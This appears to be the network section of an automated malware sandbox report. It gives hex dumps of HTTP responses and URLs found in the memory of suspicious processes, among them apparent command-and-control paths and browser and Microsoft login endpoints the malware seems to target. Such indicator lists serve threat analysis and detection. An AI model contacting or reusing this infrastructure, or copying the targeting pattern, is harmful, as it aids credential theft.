f8 16 d7 c2 94 5a 5b 3c 60 36 c5 06 8c 50 5a 7c 69 65 65 f9 4a 69 ea 07 74 d7 e9 00 94 9c ae 23 02 22 29 ad 4d ad 62 6a 80 23 e7 d2 60 07 92 04 26 db 75 ba 27 02 a0 a3 82 44 56 1c b0 48 1e 2b 01 4a 7f 3a 8d 04 04 31 fd 67 0d 78 d0 73 3c cb 83 19 4b ad f8 af 69 e0 b0 f8 7b 84 53 3e bc 8e 54 d4 dd 8f 0f e2 27 2c be af 03 ab c1 93 b8 20 7c 0a 01 50 81 e8 01 60 d6 23 b0 05 14 5b 6d 80 fb 26 34 a7 81 bd 5d a7 30 2b e9 38 f3 a4 c6 56 e6 49 80 25 bc 08 3f 10 62 f0 26 11 c0 df 35 83 52 c2 a1 15 ff 93 42 dd 18 df 19 df 6d 98 bc d5 30 7d fc e9 fd 03 73 b9 e3 4d d7 f0 93 1d 77 9c ad c2 60 dd 93 a4 65 9b 53 18 20 70 67 29 2c 6b 3b 00 da 41 82 56 23 a3 31 c5 32 37 db b2 48 7d 50 d9 0b 60 51 82 3b d8 c8 43 a3 d1 0e 5a f1 bf 94 86 bf 19 df 8d 0f 01 60 fb e3 cf 59 fc 4c 29 f9 41 fc 48 c1 d7 51 7c 58 63 e3 4f c7 1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 02 Aug 2024 11:54:13 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 63 62 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 0d 96 94 48 a4 ed c6 6d 63 4b 32 d2 97 0d 03 fa 86 35 dd 30 38 29 71 45 5d 49 8c 29 5e 96 a4 6c 6b b1 81 b8 59 d7 0d cd 50 14 18 30 60 18 da 75 c3 be bb 69 dc ba 79 fd 0b d4 3f da 73 ee 25 25 92 92 63 a7 76 b1 29 b0 22 5e 9e 7b ee b9 e7 e5 39 87 e7 b2 71 b1 23 ed 68 e4 0b d6 8f 06 6e ab 41 df cc e5 5e af 59 12 5e 89 d9 2e 0f c3 66 c9 09 2d de e1 7e e4 6c 89 12 eb f0 88 d7 7d de 13 75 9a d7 2c f9 3c d8 74 bc 5e dd 0e c4 76 09 1c 04 ef b4 1a 03 11 71 66 f7 79 10 8a a8 59 fa e0 fa 2f ea af e2 9e 1a f5 f8 00 b3 02 d9 96 51 88 15 a4 17 09 0f 34 9e 74 bc 8e d8 39 91 aa 2b 5d 57 d2 42 cf 67 c6 03 bb 4f e2 26 74 7e 20 7d 11 44 a3 66 49 f6 56 43 27 12 16 89 91 59 7e 7b 7b db 68 bf b4 b8 64 84 3e b7 e7 4f 1b 06 6e 66 42 3f 8a fc 55 d3 cc cf 33 e7 ae e7 0c a0 ad d9 a9 23 39 0c 06 8e 27 8c 60 68 3a 66 a2 46 b3 e7 ca b6 95 5c 18 be d7 9b e5 d8 6d af 72 df b7 9c 4e 86 e5 f2 ab 8b 2b 57 96 af 2e af 5c 79 e5 e5 97 5f 59 49 27 69 5d 6f 39 62 db 97 41 94 a1 df 76 3a 51 bf d9 11 5b 8e 2d ea ea a2 e6 78 4e e4 70 b7 1e da dc 15 cd a5 3c 8b 44 a0 0c 07 ee 93 96 22 27 72 45 2b fe 7a 7c 27 7e 1a 3f 64 f8 ef 30 fe 36 3e 1a ef 8f 3f c6 ef 83 f1 1f e3 a3 f8 88 c5 0f 70 f7 31 6e 3d 89 0f 16 bc 76 e8 af e5 d5 c6 92 19 5f c4 0f 1b a6 66 d9 70 1d 6f 93 05 c2 6d 96 c2 68 e4 8a b0 2f 04 36 30 10 1d 87 37 4b dc 85 29 fa 81 e8 36 4b a9 e2 94 ff 19 76 18 42 2a 35 a3 d5 96 9d 11 bb 7d 81 65 3e 6d 6e 6f f6 02 39 f4 3a ab ec 67 6f ae d0 bf b5 09 c1 5e c3 d4 13 33 6b 3b f0 cf c9 4a 5d 0e 75 49 cf c0 57 89 69 e7 57 a6 35 77 ea 8a 0e 0b db 81 e3 47 2d f3 52 e3 e2 c6 eb 6f 5c bb 7e 6d e3 92 79 61 1b 8e 2d b7 8d 28 c0 e2 ef 2b 82 b7 24 ef b0 26 eb 0e 3d 3b 72 a4 57 a9 de de 5b bb 60 5e ba 79 b3 75 c9 84 10 9a 49 c2 8c 49 cf 05 79 b3 34 9f 4d a5 6c 0e b8 e7 74 45 18 19 b7 c2 72 b5 04 7a 11 04 32 38 e5 84 1a 5b c2 9c 30 b0 a1 c9 0c 23 18 3a 0d de 61 d4 55 c1 fb c2 72 11 12 c0 9b 48 23 e1 a9 65 2b 4e ca ca 57 b8 77 0a 19 b5 91 22 b1 13 99 b7 f8 16 d7 c2 94 5a 5b 3c 60 36 c5 06 8c 50 5a 7c 69 65 65 f9 4a 69 ea 07 74 d7 e9 00 94 9c ae 23 02 22 29 ad 4d ad 62 6a 80 23 e7 d2 60 07 92 04 26 db 75 ba 27 02 a0 a3 82 44 56 1c b0 48 1e 2b 01 4a 7f 3a 8d 04 04 31 fd 67 0d 78 d0 73 3c cb 83 19 4b ad f8 af 69 e0 b0 f8 7b 84 53 3e bc 8e 54 d4 dd 8f 0f e2 27 2c be af 03 ab c1 93 b8 20 7c 0a 01 50 81 e8 01 60 d6 23 b0 05 14 5b 6d 80 fb 26 34 a7 81 bd 5d a7 30 2b e9 38 f3 a4 c6 56 e6 49 80 25 bc 08 3f 10 62 f0 26 11 c0 df 35 83 52 c2 a1 15 ff 93 42 dd 18 df 19 df 6d 98 bc d5 30 7d fc e9 fd 03 73 b9 e3 4d d7 f0 93 1d 77 9c ad c2 60 dd 93 a4 65 9b 53 18 20 70 67 29 2c 6b 3b 00 da 41 82 56 23 a3 31 c5 32 37 db b2 48 7d 50 d9 0b 60 51 82 3b d8 c8 43 a3 d1 0e 5a f1 bf 94 86 bf 19 df 8d 0f 01 60 fb e3 cf 59 fc 4c 29 f9 41 fc 48 c1 d7 51 7c 58 63 e3 4f c7 1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 02 Aug 2024 11:54:15 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 63 62 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 0d 96 94 48 a4 ed c6 6d 63 4b 32 d2 97 0d 03 fa 86 35 dd 30 38 29 71 45 5d 49 8c 29 5e 96 a4 6c 6b b1 81 b8 59 d7 0d cd 50 14 18 30 60 18 da 75 c3 be bb 69 dc ba 79 fd 0b d4 3f da 73 ee 25 25 92 92 63 a7 76 b1 29 b0 22 5e 9e 7b ee b9 e7 e5 39 87 e7 b2 71 b1 23 ed 68 e4 0b d6 8f 06 6e ab 41 df cc e5 5e af 59 12 5e 89 d9 2e 0f c3 66 c9 09 2d de e1 7e e4 6c 89 12 eb f0 88 d7 7d de 13 75 9a d7 2c f9 3c d8 74 bc 5e dd 0e c4 76 09 1c 04 ef b4 1a 03 11 71 66 f7 79 10 8a a8 59 fa e0 fa 2f ea af e2 9e 1a f5 f8 00 b3 02 d9 96 51 88 15 a4 17 09 0f 34 9e 74 bc 8e d8 39 91 aa 2b 5d 57 d2 42 cf 67 c6 03 bb 4f e2 26 74 7e 20 7d 11 44 a3 66 49 f6 56 43 27 12 16 89 91 59 7e 7b 7b db 68 bf b4 b8 64 84 3e b7 e7 4f 1b 06 6e 66 42 3f 8a fc 55 d3 cc cf 33 e7 ae e7 0c a0 ad d9 a9 23 39 0c 06 8e 27 8c 60 68 3a 66 a2 46 b3 e7 ca b6 95 5c 18 be d7 9b e5 d8 6d af 72 df b7 9c 4e 86 e5 f2 ab 8b 2b 57 96 af 2e af 5c 79 e5 e5 97 5f 59 49 27 69 5d 6f 39 62 db 97 41 94 a1 df 76 3a 51 bf d9 11 5b 8e 2d ea ea a2 e6 78 4e e4 70 b7 1e da dc 15 cd a5 3c 8b 44 a0 0c 07 ee 93 96 22 27 72 45 2b fe 7a 7c 27 7e 1a 3f 64 f8 ef 30 fe 36 3e 1a ef 8f 3f c6 ef 83 f1 1f e3 a3 f8 88 c5 0f 70 f7 31 6e 3d 89 0f 16 bc 76 e8 af e5 d5 c6 92 19 5f c4 0f 1b a6 66 d9 70 1d 6f 93 05 c2 6d 96 c2 68 e4 8a b0 2f 04 36 30 10 1d 87 37 4b dc 85 29 fa 81 e8 36 4b a9 e2 94 ff 19 76 18 42 2a 35 a3 d5 96 9d 11 bb 7d 81 65 3e 6d 6e 6f f6 02 39 f4 3a ab ec 67 6f ae d0 bf b5 09 c1 5e c3 d4 13 33 6b 3b f0 cf c9 4a 5d 0e 75 49 cf c0 57 89 69 e7 57 a6 35 77 ea 8a 0e 0b db 81 e3 47 2d f3 52 e3 e2 c6 eb 6f 5c bb 7e 6d e3 92 79 61 1b 8e 2d b7 8d 28 c0 e2 ef 2b 82 b7 24 ef b0 26 eb 0e 3d 3b 72 a4 57 a9 de de 5b bb 60 5e ba 79 b3 75 c9 84 10 9a 49 c2 8c 49 cf 05 79 b3 34 9f 4d a5 6c 0e b8 e7 74 45 18 19 b7 c2 72 b5 04 7a 11 04 32 38 e5 84 1a 5b c2 9c 30 b0 a1 c9 0c 23 18 3a 0d de 61 d4 55 c1 fb c2 72 11 12 c0 9b 48 23 e1 a9 65 2b 4e ca ca 57 b8 77 0a 19 b5 91 22 b1 13 99 b7 f8 16 d7 c2 94 5a 5b 3c 60 36 c5 06 8c 50 5a 7c 69 65 65 f9 4a 69 ea 07 74 d7 e9 00 94 9c ae 23 02 22 29 ad 4d ad 62 6a 80 23 e7 d2 60 07 92 04 26 db 75 ba 27 02 a0 a3 82 44 56 1c b0 48 1e 2b 01 4a 7f 3a 8d 04 04 31 fd 67 0d 78 d0 73 3c cb 83 19 4b ad f8 af 69 e0 b0 f8 7b 84 53 3e bc 8e 54 d4 dd 8f 0f e2 27 2c be af 03 ab c1 93 b8 20 7c 0a 01 50 81 e8 01 60 d6 23 b0 05 14 5b 6d 80 fb 26 34 a7 81 bd 5d a7 30 2b e9 38 f3 a4 c6 56 e6 49 80 25 bc 08 3f 10 62 f0 26 11 c0 df 35 83 52 c2 a1 15 ff 93 42 dd 18 df 19 df 6d 98 bc d5 30 7d fc e9 fd 03 73 b9 e3 4d d7 f0 93 1d 77 9c ad c2 60 dd 93 a4 65 9b 53 18 20 70 67 29 2c 6b 3b 00 da 41 82 56 23 a3 31 c5 32 37 db b2 48 7d 50 d9 0b 60 51 82 3b d8 c8 43 a3 d1 0e 5a f1 bf 94 86 bf 19 df 8d 0f 01 60 fb e3 cf 59 fc 4c 29 f9 41 fc 48 c1 d7 51 7c 58 63 e3 4f c7 1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 02 Aug 2024 11:54:18 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeData Raw: 32 36 33 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 64 61 74 61 2d 70 61 67 65 2d 74 79 70 65 3d 22 70 61 72 6b 69 6e 67 2d 63 72 65 77 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 77 77 2e 62 33 30 31 2e 73 70 61 63 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 62 33 30 31 2e 73 70 61 63 65 2f 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 79 6f 75 72 6d 69 6e 65 2e 72 75 2f 69 2f 70 61 72 6b 69 6e 67 2f 67 6c 6f 62 5f 70 61 72 6b 69 6e 67 2e 70 6e 67 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 66 62 3a 61 70 70 5f 69 64 22 20 63 6f 6e 74 65 6e 74 3d 22 32 38 30 35 34 32 39 32 35 34 37 36 36 37 35 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 61 70 65 22 3e 3c 74 69 74 6c 65 3e d0 a1 d1 80 d0 be d0 ba 20 d1 80 d0 b5 d0 b3 d0 b8 d1 81 d1 82 d1 80 d0 b0 d1 86 d0 b8 d0 b8 20 d0 b4 d0 be d0 bc d0 b5 d0 bd d0 b0 26 6e 62 73 70 3b 77 77 77 2e 62 33 30 31 2e 73 70 61 63 65 20 d0 b8 d1 81 d1 82 d1 91 d0 ba 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 2f 70 61 72 6b 69 6e 67 2d 63 72 65 77 2e 63 73 73 22 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 45 35 45 35 45 35 3b 0a 20 20 20 20 20 20 20 20 7d 3c 2f 73 74 79 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 3c 73 63 72 69 70 74 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 0a 2f 2a 5d 5d 3e 2a 2f 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 02 Aug 2024 11:54:27 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: WOaBXdWwIJKzuV.exe, 00000008.00000002.4581093569.000000000561F000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.b301.space
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.b301.space/
Source: WOaBXdWwIJKzuV.exe, 00000008.00000002.4581093569.000000000561F000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.b301.space/fo8o/
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://yourmine.ru/i/parking/glob_parking.png
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://2domains.ru
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://2domains.ru/
Source: netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: netbtugc.exe, 00000004.00000002.4580387603.0000000003CA6000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://code.jquery.com/jquery-3.7.1.min.js
Source: netbtugc.exe, 00000004.00000002.4580387603.0000000004612000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004072000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://codepen.io/uzcho_/pen/eYdmdXw.css
Source: netbtugc.exe, 00000004.00000002.4580387603.0000000004612000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004072000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://codepen.io/uzcho_/pens/popular/?grid_type=list
Source: netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: netbtugc.exe, 00000004.00000002.4567487590.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: netbtugc.exe, 00000004.00000002.4567487590.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: netbtugc.exe, 00000004.00000002.4567487590.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: netbtugc.exe, 00000004.00000003.2448054962.000000000767A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: netbtugc.exe, 00000004.00000002.4567487590.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: netbtugc.exe, 00000004.00000002.4567487590.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033;1Y
Source: netbtugc.exe, 00000004.00000002.4567487590.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: netbtugc.exe, 00000004.00000002.4567487590.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://parking.reg.ru/script/get_domain_data?domain_name=www.b301.space&rand=
Source: WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://rakkoma.com/
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reg.ru?target=_blank
Source: netbtugc.exe, 00000004.00000002.4580387603.0000000003CA6000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.colorfulbox.jp/?adref=nsexp_ad&argument=DLHtsrgz&dmai=a5b5a809168886
Source: netbtugc.exe, 00000004.00000002.4580387603.0000000003CA6000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.colorfulbox.jp/common/img/bnr/colorfulbox_bnr01.png
Source: netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: netbtugc.exe, 00000004.00000002.4580387603.0000000004C5A000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.00000000046BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.empowermedeco.com/fo8o/?blWd=mxnR
Source: netbtugc.exe, 00000004.00000002.4582252078.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4580387603.0000000004DEC000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.000000000484C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-55552418-3
Source: netbtugc.exe, 00000004.00000002.4580387603.0000000003CA6000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: netbtugc.exe, 00000004.00000002.4580387603.0000000003CA6000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-MLXKCD66
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000042EE000.00000004.10000000.00040000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4582252078.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003D4E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.name.com/domain/renew/rssnewscast.com?utm_source=Sedo_parked_page&utm_medium=button&utm_
Source: WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.com/buy/domains/?query=www.b301.space&utm_source=www.b301.space&utm_medium=expired&u
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.com/domain/new/rereg_details?dname=www.b301.space&utm_source=www.b301.space&utm_medi
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.com/domain/prolong_period_anonymous?dname=www.b301.space&utm_source=www.b301.space&u
Source: WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.com/domain/service/domain-broker?dname=www.b301.space&utm_source=www.b301.space&utm_
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/dedicated/?utm_source=www.b301.space&utm_medium=expired&utm_campaign
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting/?utm_source=www.b301.space&utm_medium=expired&utm_campaign
Source: netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/vps/?utm_source=www.b301.space&utm_medium=expired&utm_campaign
